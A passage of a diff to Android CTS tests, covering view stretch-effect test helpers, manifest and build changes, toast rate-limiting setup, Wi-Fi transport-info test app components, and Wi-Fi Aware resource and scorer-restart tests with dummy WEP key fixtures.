+            0,
+            0,
+            0,
+            50
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 52) == Color.BLUE
+}
+
+/**
+ * Drags right on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragRightStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            50,
+            0
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(52, 45) == Color.BLUE
+}
+
+/**
+ * Drags up on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragUpStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            0,
+            89,
+            0,
+            -50
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 38) == Color.MAGENTA
+}
+
+/**
+ * Drags left on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragLeftStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            89,
+            0,
+            -50,
+            0
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(38, 45) == Color.MAGENTA
+}
+
+/**
+ * Drags down, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragDownTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            0,
+            89
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 52) == Color.BLUE
+}
+
+/**
+ * Drags right, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragRightTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            89,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(52, 45) == Color.BLUE
+}
+
+/**
+ * Drags up, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragUpTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            89,
+            0,
+            -89
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 38) == Color.MAGENTA
+}
+
+/**
+ * Drags left, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragLeftTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            89,
+            0,
+            -89,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(38, 45) == Color.MAGENTA
+}
diff --git a/tests/tests/widget29/Android.bp b/tests/tests/widget29/Android.bp
index 08945ca..b2c26af 100644
--- a/tests/tests/widget29/Android.bp
+++ b/tests/tests/widget29/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWidgetTestCases29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/widget29/AndroidManifest.xml b/tests/tests/widget29/AndroidManifest.xml
index e8973fc..d338368 100644
--- a/tests/tests/widget29/AndroidManifest.xml
+++ b/tests/tests/widget29/AndroidManifest.xml
@@ -16,31 +16,31 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.widget.cts29">
+     package="android.widget.cts29">
 
     <application android:label="Android TestCase 29"
-            android:maxRecents="1"
-            android:multiArch="true"
-            android:supportsRtl="true"
-            android:theme="@android:style/Theme.Material.Light.DarkActionBar">
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true"
+         android:theme="@android:style/Theme.Material.Light.DarkActionBar">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.widget.cts29.CtsActivity"
-                  android:label="CtsActivity">
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.widget.cts29"
-                     android:label="(SDK 29) CTS tests of android.widget">
+         android:targetPackage="android.widget.cts29"
+         android:label="(SDK 29) CTS tests of android.widget">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
index 49cd0de..d1fa4b7 100644
--- a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
+++ b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.app.NotificationManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
@@ -52,6 +53,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -70,10 +72,12 @@
     private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
+
     private Toast mToast;
     private Context mContext;
     private boolean mLayoutDone;
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -83,6 +87,18 @@
     public void setup() {
         mContext = InstrumentationRegistry.getTargetContext();
         mLayoutListener = () -> mLayoutDone = true;
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
+    }
+
+    @After
+    public void teardown() {
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index aa269cf..689c28d 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -12,13 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
+
+java_defaults {
+    name: "CtsWifiLastStableSdkDefaults",
+    target_sdk_version: "30",
+    min_sdk_version: "30",
 }
 
 android_test {
     name: "CtsWifiTestCases",
-    defaults: ["cts_defaults"],
+    defaults: [
+        "cts_defaults",
+        "CtsWifiLastStableSdkDefaults",
+    ],
 
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
@@ -30,6 +36,7 @@
     srcs: [ "src/**/*.java" ],
     jarjar_rules: "jarjar-rules.txt",
     static_libs: [
+        "androidx.appcompat_appcompat",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
@@ -42,12 +49,11 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
         "mts-tethering",
-	"sts",
+        "mts-wifi",
+        "sts",
     ],
 
-
     data: [
         ":CtsWifiLocationTestApp",
     ],
diff --git a/tests/tests/wifi/AndroidTest.xml b/tests/tests/wifi/AndroidTest.xml
index 518053c..421a9f7 100644
--- a/tests/tests/wifi/AndroidTest.xml
+++ b/tests/tests/wifi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.wifi.apex" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index 69f1403..4e74d2f 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -12,13 +12,11 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWifiLocationTestApp",
 
+    defaults: ["CtsWifiLastStableSdkDefaults"],
+
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
 
@@ -27,4 +25,9 @@
     srcs: [
         "src/**/*.java"
     ],
+
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+    ],
 }
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
@@ -50,5 +51,12 @@
             android:name=".RetrieveConnectionInfoAndReturnStatusService"
             android:permission="android.permission.BIND_JOB_SERVICE"
             android:exported="true" />
+        <activity
+            android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+            android:exported="true" />
+        <service
+            android:name=".RetrieveTransportInfoAndReturnStatusService"
+            android:permission="android.permission.BIND_JOB_SERVICE"
+            android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..9f7178b
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+
+    public static boolean canRetrieveSsidFromTransportInfo(
+            String logTag, ConnectivityManager connectivityManager) {
+        // Assumes wifi network is the default route.
+        Network[] networks = connectivityManager.getAllNetworks();
+        if (networks == null || networks.length == 0) {
+            Log.e(logTag, " Failed to get any networks");
+            return false;
+        }
+        NetworkCapabilities wifiNetworkCapabilities = null;
+        for (Network network : networks) {
+            NetworkCapabilities networkCapabilities =
+                    connectivityManager.getNetworkCapabilities(network);
+            if (networkCapabilities == null) {
+                Log.e(logTag, "Failed to get network capabilities for network: " + network);
+                continue;
+            }
+            if (networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+                wifiNetworkCapabilities = networkCapabilities;
+                break;
+            }
+        }
+        if (wifiNetworkCapabilities == null) {
+            Log.e(logTag, "Failed to get network capabilities for wifi network."
+                    + " Available networks: " + networks);
+            return false;
+        }
+        TransportInfo transportInfo = wifiNetworkCapabilities.getTransportInfo();
+        if (!(transportInfo instanceof WifiInfo)) {
+            Log.e(logTag, " Failed to retrieve WifiInfo");
+            return false;
+        }
+        WifiInfo wifiInfo = (WifiInfo) transportInfo;
+        boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+        if (succeeded) {
+            Log.v(logTag, "SSID from transport info retrieval succeeded");
+        } else {
+            Log.v(logTag, "Failed to retrieve SSID from transport info");
+        }
+        return succeeded;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        setResult(RESULT_OK, new Intent().putExtra(
+                STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+        finish();
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+    private static final String RESULT_RECEIVER_EXTRA =
+            "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+    @Override
+    public boolean onStartJob(JobParameters jobParameters) {
+        ResultReceiver resultReceiver =
+                jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        resultReceiver.send(
+                canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+        return false;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        return false;
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
index b447878..c1c292b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
@@ -57,7 +57,5 @@
         jobScheduler.schedule(jobInfo);
 
         Log.v(TAG,"Job scheduled: " + jobInfo);
-
-        finish();
     }
 }
diff --git a/tests/tests/wifi/TEST_MAPPING b/tests/tests/wifi/TEST_MAPPING
new file mode 100644
index 0000000..7ddc308
--- /dev/null
+++ b/tests/tests/wifi/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+  "presubmit-large": [
+    {
+      "name": "CtsWifiTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.net.wifi.cts.VirtualDeviceNotSupported"
+        }
+      ]
+    }
+  ],
+  "mainline-presubmit": [
+    {
+      "name": "CtsWifiTestCases[com.google.android.wifi.apex]",
+      "options": [
+        {
+          "exclude-annotation": "android.net.wifi.cts.VirtualDeviceNotSupported"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt b/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
index 1e296e6..2beffaf 100644
--- a/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
+++ b/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
@@ -1,8 +1,8 @@
 network={
         ssid="TestSsid1"
         key_mgmt=NONE
-        wep_key0="WepAscii1"
-        wep_key1="WepAscii2"
+        wep_key0="WepAscii12345"
+        wep_key1="WepAs"
         wep_key2=45342312ab
         wep_key3=45342312ab45342312ab34ac12
         wep_tx_keyidx=1
diff --git a/tests/tests/wifi/assets/BackupV1.0Format.xml b/tests/tests/wifi/assets/BackupV1.0Format.xml
index b68bdbe..84adbe3 100644
--- a/tests/tests/wifi/assets/BackupV1.0Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.0Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/assets/BackupV1.1Format.xml b/tests/tests/wifi/assets/BackupV1.1Format.xml
index 1fc9360..c28f22e 100644
--- a/tests/tests/wifi/assets/BackupV1.1Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.1Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/assets/BackupV1.2Format.xml b/tests/tests/wifi/assets/BackupV1.2Format.xml
index c55a5a7..411918a 100644
--- a/tests/tests/wifi/assets/BackupV1.2Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.2Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index cebc20a..60191a5 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -32,6 +32,7 @@
 import android.net.NetworkRequest;
 import android.net.wifi.WifiManager;
 import android.net.wifi.aware.AttachCallback;
+import android.net.wifi.aware.AwareResources;
 import android.net.wifi.aware.Characteristics;
 import android.net.wifi.aware.DiscoverySession;
 import android.net.wifi.aware.DiscoverySessionCallback;
@@ -52,10 +53,13 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.ArrayDeque;
 import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -201,6 +205,7 @@
         static final int ON_MESSAGE_SEND_SUCCEEDED = 6;
         static final int ON_MESSAGE_SEND_FAILED = 7;
         static final int ON_MESSAGE_RECEIVED = 8;
+        static final int ON_SESSION_DISCOVERED_LOST = 9;
 
         private final Object mLocalLock = new Object();
 
@@ -269,6 +274,11 @@
             processCallback(ON_MESSAGE_RECEIVED);
         }
 
+        @Override
+        public void onServiceLost(PeerHandle peerHandle, int reason) {
+            processCallback(ON_SESSION_DISCOVERED_LOST);
+        }
+
         /**
          * Wait for the specified callback - any of the ON_* constants. Returns a true
          * on success (specified callback triggered) or false on failure (timed-out or
@@ -438,6 +448,29 @@
                 characteristics.getMaxServiceSpecificInfoLength(), 255);
         assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
         assertNotEquals("Cipher suites", characteristics.getSupportedCipherSuites(), 0);
+        if (BuildCompat.isAtLeastS()) {
+            mWifiAwareManager.enableInstantCommunicationMode(true);
+            assertEquals(mWifiAwareManager.isInstantCommunicationModeEnabled(),
+                    characteristics.isInstantCommunicationModeSupported());
+            mWifiAwareManager.enableInstantCommunicationMode(false);
+        }
+    }
+
+    /**
+     * Validate:
+     * - AwareResources are available
+     * - AwareResources values are legitimate. When no resources are used, the value should equal to
+     *   the capability.
+     */
+    public void testAvailableAwareResources() {
+        if (!(TestUtils.shouldTestWifiAware(getContext()) && BuildCompat.isAtLeastS())) {
+            return;
+        }
+        AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
+        assertNotNull("Available aware resources are null", resources);
+        assertTrue(resources.getAvailableDataPathsCount() > 0);
+        assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+        assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
     }
 
     /**
@@ -481,6 +514,9 @@
 
         WifiAwareSession session = attachAndGetSession();
         session.close();
+        if (BuildCompat.isAtLeastS()) {
+            assertFalse(mWifiAwareManager.isDeviceAttached());
+        }
     }
 
     /**
@@ -536,6 +572,11 @@
         PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
                 serviceName).build();
         DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        int numOfAllPublishSessions = 0;
+        if (BuildCompat.isAtLeastS()) {
+            numOfAllPublishSessions = mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount();
+        }
 
         // 1. publish
         session.publish(publishConfig, discoveryCb, mHandler);
@@ -543,7 +584,14 @@
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
         PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
         assertNotNull("Publish session", discoverySession);
-
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SERVICE_DISCOVERED));
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
+        }
         // 2. update-publish
         publishConfig = new PublishConfig.Builder().setServiceName(
                 serviceName).setServiceSpecificInfo("extras".getBytes()).build();
@@ -560,7 +608,10 @@
         discoverySession.updatePublish(publishConfig);
         assertFalse("Publish update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
-
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllPublishSessions, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
+        }
         session.close();
     }
 
@@ -620,13 +671,25 @@
         SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
                 serviceName).build();
         DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
-
+        int numOfAllSubscribeSessions = 0;
+        if (BuildCompat.isAtLeastS()) {
+            numOfAllSubscribeSessions = mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
+        }
         // 1. subscribe
         session.subscribe(subscribeConfig, discoveryCb, mHandler);
         assertTrue("Subscribe started",
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SUBSCRIBE_STARTED));
         SubscribeDiscoverySession discoverySession = discoveryCb.getSubscribeDiscoverySession();
         assertNotNull("Subscribe session", discoverySession);
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SERVICE_DISCOVERED));
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
+        }
 
         // 2. update-subscribe
         boolean rttSupported = getContext().getPackageManager().hasSystemFeature(
@@ -652,7 +715,10 @@
         discoverySession.updateSubscribe(subscribeConfig);
         assertFalse("Subscribe update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
-
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
+        }
         session.close();
     }
 
@@ -881,6 +947,9 @@
 
         WifiAwareSession session = attachCb.getSession();
         assertNotNull("Wi-Fi Aware session", session);
+        if (BuildCompat.isAtLeastS()) {
+            assertTrue(mWifiAwareManager.isDeviceAttached());
+        }
 
         return session;
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 8502db1..f19522d 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -36,6 +36,7 @@
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -376,4 +377,67 @@
             uiAutomation.dropShellPermissionIdentity();
         }
     }
+
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
+     *
+     * Verifies that the external scorer works even after wifi restart.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testSetWifiConnectedNetworkScorerOnSubsystemRestart() throws Exception {
+        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestConnectedNetworkScorer connectedNetworkScorer =
+                new TestConnectedNetworkScorer(countDownLatchScorer);
+        boolean disconnected = false;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Clear any external scorer already active on the device.
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            Thread.sleep(500);
+
+            mWifiManager.setWifiConnectedNetworkScorer(
+                    Executors.newSingleThreadExecutor(), connectedNetworkScorer);
+            // Since we're already connected, wait for onStart to be invoked.
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+
+            int prevSessionId = connectedNetworkScorer.startSessionId;
+            WifiManager.ScoreUpdateObserver prevScoreUpdateObserver =
+                    connectedNetworkScorer.scoreUpdateObserver;
+
+            // Expect one stop followed by one start after the restart
+
+            // Ensure that we got an onStop() for the previous connection when restart is invoked.
+            countDownLatchScorer = new CountDownLatch(1);
+            connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+
+            // Restart wifi subsystem.
+            mWifiManager.restartWifiSubsystem(null);
+            // Wait for the device to connect back.
+            PollingCheck.check(
+                    "Wifi not connected",
+                    WIFI_CONNECT_TIMEOUT_MILLIS * 2,
+                    () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
+
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
